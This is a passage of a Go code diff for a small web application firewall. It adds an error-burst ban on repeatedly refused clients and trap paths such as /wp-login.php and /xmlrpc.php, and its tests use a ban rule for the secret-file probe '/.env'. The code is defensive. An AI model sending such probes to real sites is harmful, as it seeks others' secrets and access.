the ban -// it would have made, if that alert would be sent. +// one hit names, notes the offence for the log line and counts the hit in +// the metrics. status is what the client was sent, or is sent: +// SWWAF_BAN_RESPONSE for a request over a rate limit, the app's answer for +// one whose bytes broke a byte limit, the refusal for one that broke the +// error burst. The ban's notes give the client's limit percentage for a +// rate limit or a byte limit; the error burst is not lowered. The ban sets +// the client's counters back to zero. In observe mode it makes no ban and +// sets nothing back, and raises the alert for the ban it would have made, +// if that alert would be sent. func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) { - rq.line.LimitHit = hit.Window - if hit.Kind == ratelimit.KindBytes { - rq.line.LimitHit += "_bytes" // as counts names the byte totals + switch hit.Kind { + case ratelimit.KindBytes: + rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals + case ratelimit.KindRefusals: + rq.line.LimitHit = requestlog.LimitHitErrorBurst + default: + rq.line.LimitHit = hit.Window } rq.line.Offence = requestlog.OffenceLimit + rq.h.metrics.LimitHit(hit) netblock := rq.h.netblock(rq.client) if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) { @@ -140,13 +189,13 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) { Requests: rq.netblockRequests(netblock), } - percent := rq.limitPercent - if hit.Kind == ratelimit.KindBytes { - percent = rq.bytesPercent + switch hit.Kind { + case ratelimit.KindRequests: + notes.LimitPercent, notes.LimitPercentSetting = rq.limitPercent.logged() + case ratelimit.KindBytes: + notes.LimitPercent, notes.LimitPercentSetting = rq.bytesPercent.logged() } - notes.LimitPercent, notes.LimitPercentSetting = percent.logged() - if rq.h.config.Observe { ban, wouldBan := rq.h.ledger.WouldBanForLimit(netblock, now, notes) if wouldBan { @@ -166,25 +215,22 @@ func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) { } // banForAttack bans the client's netblock at now for a clear sign of -// attack, the match of rule, a ban rule. In observe mode it makes no ban, -// and raises the alert for the ban it would have made, if that alert -// would be sent. -func (rq *request) banForAttack(now time.Time, rule rules.Rule) { +// attack, which notes name: the ban rule that matched, or the trap path +// asked for. It fills in the rest of the notes. In observe mode it makes +// no ban, and raises the alert for the ban it would have made, if that +// alert would be sent. +func (rq *request) banForAttack(now time.Time, notes bans.Notes) { netblock := rq.h.netblock(rq.client) if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) { return } - notes := bans.Notes{ - ASN: rq.line.ASN, - ASName: rq.line.ASName, - Country: rq.line.Country, - RuleID: rule.ID, - Target: rule.Target, - Reputation: rq.reputation, - Request: rq.noted(now, rq.h.config.BanResponse), - Requests: rq.netblockRequests(netblock), - } + notes.ASN = rq.line.ASN + notes.ASName = rq.line.ASName + notes.Country = rq.line.Country + notes.Reputation = rq.reputation + notes.Request = rq.noted(now, rq.h.config.BanResponse) + notes.Requests = rq.netblockRequests(netblock) if rq.h.config.Observe { ban, wouldBan := rq.h.ledger.WouldBanForAttack(netblock, now, notes) diff --git a/internal/proxy/errorburst_test.go b/internal/proxy/errorburst_test.go new file mode 100644 index 0000000..5e777d5 --- /dev/null +++ b/internal/proxy/errorburst_test.go @@ -0,0 +1,396 @@ +package proxy_test + +import ( + "maps" + "net/http" + "net/netip" + "reflect" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +const errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD" + +// refused is a request the tests here send, which smallwebwaf refuses +// after a rule file match, or for a missing or wrong token. +type refused int + +const ( + // blockRule is a request testRules' block rule refuses with 403. + blockRule refused = iota + // banRule is one its ban rule refuses with 403, and bans the client + // for. + banRule + // noMetricsToken is one for the metrics without a token, and + // wrongAdminToken one for the bans with the metrics token, each + // refused with 401. + noMetricsToken + wrongAdminToken +) + +// send sends r from the client at from, checks its answer and log line as +// sender.request does, and returns the line. +func (r refused) send(s *sender, from string) logLine { + s.t.Helper() + + switch r { + case blockRule: + return s.request(from, blockedPath, http.StatusForbidden, + requestlog.ActionRuleBlocked) + case banRule: + return s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned) + case noMetricsToken: + return s.request(from, proxy.MetricsPath, http.StatusUnauthorized, + requestlog.ActionAdmin) + case wrongAdminToken: + line, _ := s.requestWithHeader(from, proxy.BansPath, "Authorization: "+bearer, + http.StatusUnauthorized, requestlog.ActionAdmin) + + return line + } + + s.t.Fatalf("no request for the refusal %d", r) + + return logLine{} +} + +// startForErrorBurst is startWithClock with testRules, both tokens and +// SWWAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env. +func startForErrorBurst( + t *testing.T, threshold string, env map[string]string, +) (*sender, *clock, *proxy.Server) { + t.Helper() + + settings := map[string]string{ + errorBurstThreshold: threshold, + rulesDir: writeRules(t, testRules), + adminToken: adminSecret, + metricsToken: token, + } + maps.Copy(settings, env) + + return startWithClock(t, "", settings) +} + +func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + // refusals are four, one over the threshold of three. + refusals []refused + }{ + {"block rule", []refused{blockRule, blockRule, blockRule, blockRule}}, + { + "missing or wrong token", + []refused{noMetricsToken, wrongAdminToken, noMetricsToken, wrongAdminToken}, + }, + { + "a mix ending in a ban rule", + []refused{blockRule, noMetricsToken, blockRule, banRule}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + s, _, _ := startForErrorBurst(t, "3", nil) + + // Three refusals break nothing, and the app's answers between + // them are not counted. + for i, r := range tc.refusals[:3] { + line := r.send(s, client) + if line.LimitHit != "" || line.Offence != "" { + t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+ + "want none", i+1, line.LimitHit, line.Offence) + } + + s.get(client, http.StatusOK, requestlog.ActionForward) + } + + // The fourth is answered as the others were, breaks the error + // burst, and bans the client. + line := tc.refusals[3].send(s, client) + if line.LimitHit != requestlog.LimitHitErrorBurst || + line.Offence != requestlog.OffenceLimit { + t.Errorf("log line has limit_hit %q and offence %q, want error_burst "+ + "and limit", line.LimitHit, line.Offence) + } + + s.get(client, http.StatusForbidden, requestlog.ActionBanned) + }) + } +} + +func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) { + t.Parallel() + + const scraper = "192.0.2.200" + + s, clk, server := startForErrorBurst(t, "2", nil) + start := clk.Now() + + blockRule.send(s, client) + wrongAdminToken.send(s, client) + line := blockRule.send(s, client) + + expires := start.Add(time.Hour) + if line.BanExpires != requestlog.FormatTime(expires) { + t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires) + } + + netblock := netip.MustParsePrefix(client + "/32") + want := bans.Ban{ + Netblock: netblock, + Start: start, + Expires: expires, + Cause: bans.CauseLimit, + Reason: "refusals per minute over the limit of 2", + Notes: bans.Notes{ + Kind: ratelimit.KindRefusals, + Limit: 2, + Window: minute, + Count: 3, + Request: bans.Request{ + Time: start, + Method: http.MethodGet, + Host: appHost, + Path: blockedPath, + Status: http.StatusForbidden, + UserAgent: userAgent, + }, + Requests: 3, + }, + } + + got := server.Ledger.Bans(netblock) + if len(got) != 1 || !reflect.DeepEqual(got[0], want) { + t.Fatalf("bans\n%+v\nwant\n%+v", got, want) + } + + wantOffences := ratelimit.Offences{Limit: 1, RuleBlocked: 2, TokenRefused: 1} + if offences := historyOf(t, server, client).Offences; offences != wantOffences { + t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences) + } + + metrics := s.scrape(scraper) + wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+ + `kind="refusals",window="minute"}`, 1) + wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1) + wantMetric(t, metrics, + `smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 2) + wantMetric(t, metrics, + `smallwebwaf_offences_total{instance="app",kind="token_refused"}`, 1) + wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1) +} + +func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) { + t.Parallel() + + geojsURL, _ := startGeoJS(t) + s, _, server := startWithClock(t, geojsURL, map[string]string{ + errorBurstThreshold: "2", + rulesDir: writeRules(t, testRules), + countryLimitPercent: countryDEHalf, + }) + + // Half of the threshold would be one, which the second refusal is over. + for range 2 { + line := blockRule.send(s, fromDE) + if line.LimitHit != "" { + t.Errorf("log line has limit_hit %q, want none", line.LimitHit) + } + } + + blockRule.send(s, fromDE) + + got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32")) + if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil { + t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got) + } +} + +func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) { + t.Parallel() + + statuses := map[string]int{ + "/missing": http.StatusNotFound, + "/private": http.StatusUnauthorized, + "/forbidden": http.StatusForbidden, + } + s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) { + w.WriteHeader(statuses[r.URL.Path]) + }, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)}) + + for range 2 { + for path, status := range statuses { + s.request(client, path, status, requestlog.ActionForward) + } + } + + // The first refusal is one, not over the threshold. + line := blockRule.send(s, client) + if line.LimitHit != "" { + t.Errorf("log line has limit_hit %q, want none", line.LimitHit) + } + + // No ban was made, nor its alert raised. + s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward) + wantAlerts(t, queue) +} + +func TestErrorBurstOffOrAtItsDefault(t *testing.T) { + t.Parallel() + + const off = "off" + + for _, tc := range []struct { + threshold string + // broken is whether the 31st refusal breaks the error burst. + broken bool + }{ + {"", true}, + {off, false}, + } { + t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) { + t.Parallel() + + env := map[string]string{rulesDir: writeRules(t, testRules)} + if tc.threshold != "" { + env[errorBurstThreshold] = tc.threshold + } + + s, _, _ := startWithClock(t, "", env) + + var line logLine + for range 31 { + line = blockRule.send(s, client) + } + + if broken := line.LimitHit == requestlog.LimitHitErrorBurst; broken != tc.broken { + t.Errorf("the 31st refusal broke the error burst: %t, want %t", + broken, tc.broken) + } + }) + } +} + +func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) { + t.Parallel() + + const ( + allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS + exempt = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS + ) + + s, _, _ := startForErrorBurst(t, "1", map[string]string{ + allowNets: allowed, rateLimitExemptNets: exempt, + }) + + // A client in SWWAF_ALLOW_NETS still needs the token, but is not + // counted. + for range 3 { + line := noMetricsToken.send(s, allowed) + if line.LimitHit != "" { + t.Errorf("log line has limit_hit %q, want none", line.LimitHit) + } + } + + // One the rate limits do not apply to is. + noMetricsToken.send(s, exempt) + + line := wrongAdminToken.send(s, exempt) + if line.LimitHit != requestlog.LimitHitErrorBurst { + t.Errorf("log line has limit_hit %q, want error_burst", line.LimitHit) + } + + s.get(exempt, http.StatusForbidden, requestlog.ActionBanned) +} + +func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) { + t.Parallel() + + s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"}) + + blockRule.send(s, client) + blockRule.send(s, client) + + // Within the same minute, once the ban has ended, the next refusal is + // the first again. + clk.advance(time.Second) + + line := blockRule.send(s, client) + if line.LimitHit != "" { + t.Errorf("log line has limit_hit %q, want none", line.LimitHit) + } +} + +func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) { + t.Parallel() + + s, clk, server, queue := startWithAlerts(t, map[string]string{ + mode: observe, + errorBurstThreshold: "1", + rulesDir: writeRules(t, testRules), + adminToken: adminSecret, + }) + start := clk.Now() + held := bans.Ban{ + Netblock: netip.MustParsePrefix(otherClient + "/32"), + Start: start, + Expires: start.Add(time.Hour), + Cause: bans.CauseAdmin, + } + server.Ledger.Load([]bans.Ban{held}) + + // Under a ban, enforce mode would have refused these before the + // endpoint, so their tokens are not counted. + for range 2 { + line := wrongAdminToken.send(s, otherClient) + wantWouldAction(t, line, requestlog.ActionBanned) + + if line.LimitHit != "" { + t.Errorf("log line has limit_hit %q, want none", line.LimitHit) + } + } + + // The block rule's refusal, which enforce mode would have answered 403, + // is the second of the client's, and would have banned it. + wrongAdminToken.send(s, client) + + line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward) + wantWouldAction(t, line, requestlog.ActionRuleBlocked) + + if line.LimitHit != requestlog.LimitHitErrorBurst || line.BanExpires != "" { + t.Errorf("log line has limit_hit %q and ban_expires %q, want error_burst "+ + "and none", line.LimitHit, line.BanExpires) + } + + if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) { + t.Errorf("bans %+v, want only the one held", got) + } + + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 1 { + t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting) + } + + notes, _ := waiting[0].Detail["notes"].(bans.Notes) + if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 || + notes.Request.Status != http.StatusForbidden { + t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403", + notes) + } + + alert := banAlert(alerts.EventBan, start, client, bans.Ban{ + Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit, + Reason: "refusals per minute over the limit of 1", Notes: notes, + }, requestlog.FormatTime(start.Add(time.Hour))) + alert.Detail["mode"] = observe + wantAlerts(t, queue, alert) +} diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index f02d322..6d4b9b7 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -282,9 +282,12 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { return } - // Once the request has ended, before its log line is written. + // Once the request has ended, before its log line is written. The + // last deferred runs first: countRefusal before addToHistory, so that + // a broken error burst is in the client's history. defer rq.addToHistory() defer rq.countAnomalies() + defer rq.countRefusal() refused := rq.check(r.Context()) rq.checked = time.Now() diff --git a/internal/proxy/reputation_test.go b/internal/proxy/reputation_test.go index 5bf0b47..05040f9 100644 --- a/internal/proxy/reputation_test.go +++ b/internal/proxy/reputation_test.go @@ -701,10 +701,14 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing wantAbuseIPDBChecks(t, server, 1) } -// probePath is the path the ban rule of testRules, probe, matches. -const probePath = "/.env" +// probePath is the path the ban rule of testRules, probe, matches, and +// blockedPath the one its block rule, blocked, matches. +const ( + probePath = "/.env" + blockedPath = "/blocked" +) -func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) { +func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) { t.Parallel() for _, tc := range []struct { @@ -718,13 +722,21 @@ func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) want ratelimit.Offences }{ { - "a block rule", "/blocked", http.StatusForbidden, requestlog.ActionRuleBlocked, + "a block rule", blockedPath, http.StatusForbidden, requestlog.ActionRuleBlocked, ratelimit.Offences{RuleBlocked: 1}, }, { "a ban rule", probePath, http.StatusForbidden, requestlog.ActionBanned, ratelimit.Offences{Attack: 1}, }, + { + "a trap path", "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned, + ratelimit.Offences{Attack: 1}, + }, + { + "a missing token", proxy.MetricsPath, http.StatusUnauthorized, + requestlog.ActionAdmin, ratelimit.Offences{TokenRefused: 1}, + }, } { t.Run(tc.name, func(t *testing.T) { t.Parallel() @@ -732,6 +744,7 @@ func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) s, clk, server := startWithClock(t, "", map[string]string{ abuseIPDBKey: accountKey, reputationAction: actionLog, rulesDir: writeRules(t, testRules), attackBanDuration: "1h", + trapPaths: trapPathList, metricsToken: token, }) s.request(client, tc.path, tc.status, tc.action) @@ -741,8 +754,8 @@ func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) t.Errorf("history counts the offences %+v, want %+v", got, tc.want) } - // Its next request, once a ban rule's ban has ended, has it - // checked. + // Its next request, once any ban for a clear sign of attack + // has ended, has it checked. clk.advance(time.Hour) s.get(client, http.StatusOK, requestlog.ActionForward) wantAbuseIPDBChecks(t, server, 1) diff --git a/internal/proxy/request.go b/internal/proxy/request.go index c4638e5..ec9eac8 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -64,10 +64,11 @@ type request struct { // limits and for the byte limits. counted bool limitPercent, bytesPercent percentage - // attack is true for a request that matched a ban rule, and - // ruleBlocked for one a block rule refused, each an offence its - // client's history counts. - attack, ruleBlocked bool + // attack is true for a request that matched a ban rule or asked for a + // trap path, ruleBlocked for one a block rule refused, and + // tokenRefused for one refused for a missing or wrong token, each an + // offence its client's history counts. + attack, ruleBlocked, tokenRefused bool // blocklisted is true once a blocklist is found to list the client, // dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once // AbuseIPDB's score of it is a hit. @@ -232,9 +233,9 @@ func (rq *request) check(ctx context.Context) *refusal { // rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the // request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that // every other request is counted, each of them by the client's limit -// percentages, and last the rule files. A request exempt from the rate -// limits is exempt from the byte limits too. ctx is the request's own -// context. +// percentages, then SWWAF_TRAP_PATHS, and last the rule files. A request +// exempt from the rate limits is exempt from the byte limits too. ctx is +// the request's own context. func (rq *request) checkClient(ctx context.Context) string { cfg := rq.h.config if isInside(rq.client, cfg.AllowNets) { @@ -281,6 +282,10 @@ func (rq *request) checkClient(ctx context.Context) string { return requestlog.ActionRateLimited } + if rq.trapPath(now) { + return requestlog.ActionBanned + } + return rq.checkRules(now) } @@ -541,14 +546,14 @@ func timing(start, end time.Time) *float64 { } // addToHistory adds the request, which has ended, to its client's -// history, and then the lookup's answer about the client, as -// answerAtTheEnd gives it, to that history and to the notes of the bans -// on its netblock: an answer may have come before either was there, and -// one from GeoJS that comes later is added when it comes. +// history, and counts its offences in the metrics, and then the lookup's +// answer about the client, as answerAtTheEnd gives it, to that history and +// to the notes of the bans on its netblock: an answer may have come +// before either was there, and one from GeoJS that comes later is added +// when it comes. func (rq *request) addToHistory() { forwarded := !rq.upstreamStart.IsZero() - - rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), ratelimit.Request{ + request := ratelimit.Request{ Forwarded: forwarded, Refused: !forwarded && rq.refused.Load() != nil, Status: rq.out.status, @@ -557,7 +562,11 @@ func (rq *request) addToHistory() { BrokeLimit: rq.line.Offence == requestlog.OffenceLimit, Attack: rq.attack, RuleBlocked: rq.ruleBlocked, - }) + TokenRefused: rq.tokenRefused, + } + + rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request) + rq.h.metrics.Offences(request) answer, found := rq.answerAtTheEnd() if found { diff --git a/internal/proxy/rulefiles_test.go b/internal/proxy/rulefiles_test.go index 0d951a0..20e74d0 100644 --- a/internal/proxy/rulefiles_test.go +++ b/internal/proxy/rulefiles_test.go @@ -204,6 +204,9 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) { wantMetric(t, metrics, `smallwebwaf_rules_loaded{instance="app"}`, 2) wantMetric(t, metrics, `smallwebwaf_requests_total{action="rule_blocked",`+ `instance="app",status_class="4xx"}`, 1) + wantMetric(t, metrics, + `smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 1) + wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="attack"}`, 1) wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="attack",instance="app"}`, 1) wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 0) wantMetric(t, metrics, `smallwebwaf_permanent_bans{instance="app"}`, 1) diff --git a/internal/proxy/rules.go b/internal/proxy/rules.go index bad22fc..3ac50d8 100644 --- a/internal/proxy/rules.go +++ b/internal/proxy/rules.go @@ -1,12 +1,31 @@ package proxy import ( + "slices" "time" + "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/rules" ) +// trapPath reports whether the request asks for a path in +// SWWAF_TRAP_PATHS: its path as a path rule sees it, before any decoding +// and without the query, is one of them. Such a request is a clear sign of +// attack, as a ban rule's match is: it bans the client's netblock, or in +// observe mode raises the alert for the ban it would have made. +func (rq *request) trapPath(now time.Time) bool { + path := rules.Path(rq.in) + if !slices.Contains(rq.h.config.TrapPaths, path) { + return false + } + + rq.attack = true + rq.banForAttack(now, bans.Notes{TrapPath: path}) + + return true +} + // checkRules checks the request against the rules of the rule files at // now, notes the ids of those it matches in the log line, and returns the // action of the rule that refuses it, ActionRuleBlocked for a block rule @@ -34,7 +53,7 @@ func (rq *request) checkRules(now time.Time) string { return requestlog.ActionRuleBlocked case rules.ActionBan: rq.attack = true - rq.banForAttack(now, last) + rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target}) return requestlog.ActionBanned default: diff --git a/internal/proxy/trappaths_test.go b/internal/proxy/trappaths_test.go new file mode 100644 index 0000000..1bafd0b --- /dev/null +++ b/internal/proxy/trappaths_test.go @@ -0,0 +1,115 @@ +package proxy_test + +import ( + "net/http" + "net/netip" + "reflect" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// trapPaths is the setting's name, and trapPathList what the tests set it +// to. +const ( + trapPaths = "SWWAF_TRAP_PATHS" + trapPathList = "/wp-login.php,/xmlrpc.php" +) + +func TestTrapPathBansAsABanRuleDoes(t *testing.T) { + t.Parallel() + + const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS + + // A block rule for the same path: the trap path comes first. + s, clk, server := startWithClock(t, "", map[string]string{ + trapPaths: trapPathList, + rulesDir: writeRules(t, `wp path block ^/wp-login\.php$`), + allowNets: allowed, + banResponse: "429", + }) + start := clk.Now() + + // Only the path itself, as the client sent it, is a trap path. + for _, path := range []string{ + "/wp-login.php/", "/WP-LOGIN.PHP", "/blog/xmlrpc.php", "/%77p-login.php", + } { + s.request(otherClient, path, http.StatusOK, requestlog.ActionForward) + } + + // A client in SWWAF_ALLOW_NETS is not checked. + s.request(allowed, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward) + + // The query is not part of the path. + line := s.request(client, "/wp-login.php?redirect_to=x", http.StatusTooManyRequests, + requestlog.ActionBanned) + wantRuleIDs(t, line) + + if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) { + t.Errorf("log line has ban_expires %q, want seven days on", line.BanExpires) + } + + netblock := netip.MustParsePrefix(client + "/32") + want := bans.Ban{ + Netblock: netblock, + Start: start, + Expires: start.Add(7 * 24 * time.Hour), + Cause: bans.CauseAttack, + Reason: "asked for the trap path /wp-login.php", + Notes: bans.Notes{ + TrapPath: "/wp-login.php", + Request: bans.Request{ + Time: start, + Method: http.MethodGet, + Host: appHost, + Path: "/wp-login.php?redirect_to=x", + Status: http.StatusTooManyRequests, + UserAgent: userAgent, + }, + Requests: 1, + }, + } + + got := server.Ledger.Bans(netblock) + if len(got) != 1 || !reflect.DeepEqual(got[0], want) { + t.Fatalf("bans\n%+v\nwant\n%+v", got, want) + } + + // The next request is refused under the ban, and makes it permanent. + line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned) + if line.BanExpires != permanent { + t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires) + } +} + +func TestTrapPathsNeedNoRuleFiles(t *testing.T) { + t.Parallel() + + s, _, _ := startWithClock(t, "", map[string]string{ + trapPaths: trapPathList, + "SWWAF_RULES_ENABLED": "false", + }) + + s.request(client, "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned) +} + +func TestObserveModeLogsWhatATrapPathWouldDo(t *testing.T) { + t.Parallel() + + s, _, server := startWithClock(t, "", map[string]string{ + trapPaths: trapPathList, + mode: observe, + }) + + line := s.request(client, "/xmlrpc.php", http.StatusOK, requestlog.ActionForward) + wantWouldAction(t, line, requestlog.ActionBanned) + + // No ban was made. + s.get(client, http.StatusOK, requestlog.ActionForward) + + if got := server.Ledger.Snapshot(); len(got) != 0 { + t.Errorf("bans %+v, want none", got) + } +} diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index 2862b79..9bab344 100644 --- a/internal/ratelimit/ratelimit.go +++ b/internal/ratelimit/ratelimit.go @@ -25,6 +25,9 @@ const ( KindRequests = "requests" // KindBytes is a byte limit, on a client's bytes. KindBytes = "bytes" + // KindRefusals is the error burst, on a client's requests smallwebwaf + // refused after a rule file match or for a missing or wrong token. + KindRefusals = "refusals" ) // Limits are the most requests a client may make in a minute, an hour and @@ -50,18 +53,20 @@ type Limiter struct { } // Client is a client in the table, as clients.json holds it: its buckets -// of requests and of bytes in each window, and its history. +// of requests and of bytes in each window, its buckets of refusals in the +// minute, which the error burst counts, and its history. // //nolint:tagliatelle // the state files use snake_case, as the request log does type Client struct { - Client netip.Prefix `json:"client"` - Minute Buckets `json:"minute"` - Hour Buckets `json:"hour"` - Day Buckets `json:"day"` - MinuteBytes Buckets `json:"minute_bytes"` - HourBytes Buckets `json:"hour_bytes"` - DayBytes Buckets `json:"day_bytes"` - History History `json:"history"` + Client netip.Prefix `json:"client"` + Minute Buckets `json:"minute"` + Hour Buckets `json:"hour"` + Day Buckets `json:"day"` + MinuteBytes Buckets `json:"minute_bytes"` + HourBytes Buckets `json:"hour_bytes"` + DayBytes Buckets `json:"day_bytes"` + MinuteRefusals Buckets `json:"minute_refusals"` + History History `json:"history"` } // Buckets are a client's two buckets in one window: the requests, or the @@ -116,12 +121,15 @@ type Responses struct { // //nolint:tagliatelle // the state files use snake_case, as the request log does type Offences struct { - // Limit is its requests that broke a rate limit or a byte limit, - // Attack those that matched a ban rule, a clear sign of attack, and - // RuleBlocked those a block rule refused. - Limit int64 `json:"limit"` - Attack int64 `json:"attack"` - RuleBlocked int64 `json:"rule_blocked"` + // Limit is its requests that broke a rate limit, a byte limit or the + // error burst, Attack those that were a clear sign of attack, a match + // of a ban rule or a request for a trap path, RuleBlocked those a block + // rule refused, and TokenRefused those refused for a missing or wrong + // token. + Limit int64 `json:"limit"` + Attack int64 `json:"attack"` + RuleBlocked int64 `json:"rule_blocked"` + TokenRefused int64 `json:"token_refused"` } // Request is what a client's history keeps of one of its requests. @@ -138,12 +146,14 @@ type Request struct { // and of its response. RequestBytes int64 ResponseBytes int64 - // BrokeLimit is true for a request that broke a rate limit or a byte - // limit, Attack for one that matched a ban rule, and RuleBlocked for - // one a block rule refused. - BrokeLimit bool - Attack bool - RuleBlocked bool + // BrokeLimit is true for a request that broke a rate limit, a byte + // limit or the error burst, Attack for one that matched a ban rule or + // asked for a trap path, RuleBlocked for one a block rule refused, and + // TokenRefused for one refused for a missing or wrong token. + BrokeLimit bool + Attack bool + RuleBlocked bool + TokenRefused bool } // New returns a Limiter for limits, with no client counted yet, whose @@ -175,17 +185,18 @@ func New(limits Limits, maxClients int) *Limiter { } } -// Hit is a request that takes a client over a rate limit, or whose bytes -// take it over a byte limit. +// Hit is a request that takes a client over a rate limit or the error +// burst, or whose bytes take it over a byte limit. type Hit struct { - // Kind is KindRequests for a rate limit, KindBytes for a byte limit. + // Kind is KindRequests for a rate limit, KindBytes for a byte limit, + // KindRefusals for the error burst. Kind string // Window is "minute", "hour" or "day". Window string // Limit is the window's limit, as the client's percentage of it. Limit int64 - // Count is the client's requests, or bytes, counted in the window, - // this request's included. + // Count is the client's requests, bytes or refusals counted in the + // window, this request's included. Count float64 } @@ -224,8 +235,25 @@ func (l *Limiter) CountBytes( return l.count(client, now, 0, bytes, percent) } -// Reset sets client's counts of requests and of bytes in every window -// back to zero. Its history keeps its totals. +// CountRefusal counts a request from client at now that smallwebwaf +// refused after a rule file match or for a missing or wrong token, and +// reports whether the client's refusals in the minute that ends at now, +// this one included, are more than threshold, which breaks the error +// burst, and the hit. +func (l *Limiter) CountRefusal( + client netip.Prefix, now time.Time, threshold int64, +) (Hit, bool) { + l.mu.Lock() + defer l.mu.Unlock() + + count := l.get(client).MinuteRefusals.Add(now, time.Minute, 1) + hit := Hit{Kind: KindRefusals, Window: "minute", Limit: threshold, Count: count} + + return hit, count > float64(threshold) +} + +// Reset sets client's counts of requests, of bytes and of refusals in +// every window back to zero. Its history keeps its totals. func (l *Limiter) Reset(client netip.Prefix) { l.mu.Lock() defer l.mu.Unlock() @@ -234,6 +262,7 @@ func (l *Limiter) Reset(client netip.Prefix) { if seen { c.Minute, c.Hour, c.Day = Buckets{}, Buckets{}, Buckets{} c.MinuteBytes, c.HourBytes, c.DayBytes = Buckets{}, Buckets{}, Buckets{} + c.MinuteRefusals = Buckets{} } } @@ -274,6 +303,10 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) { if r.RuleBlocked { h.Offences.RuleBlocked++ } + + if r.TokenRefused { + h.Offences.TokenRefused++ + } } // AddLookup gives client's history its AS number, AS name and country, as @@ -383,6 +416,10 @@ func (l *Limiter) Load(clients []Client, now time.Time) { } } + if c.MinuteRefusals.Passed(now, time.Minute) { + c.MinuteRefusals = Buckets{} + } + l.clients.Add(c.Client, &c) } } diff --git a/internal/ratelimit/ratelimit_test.go 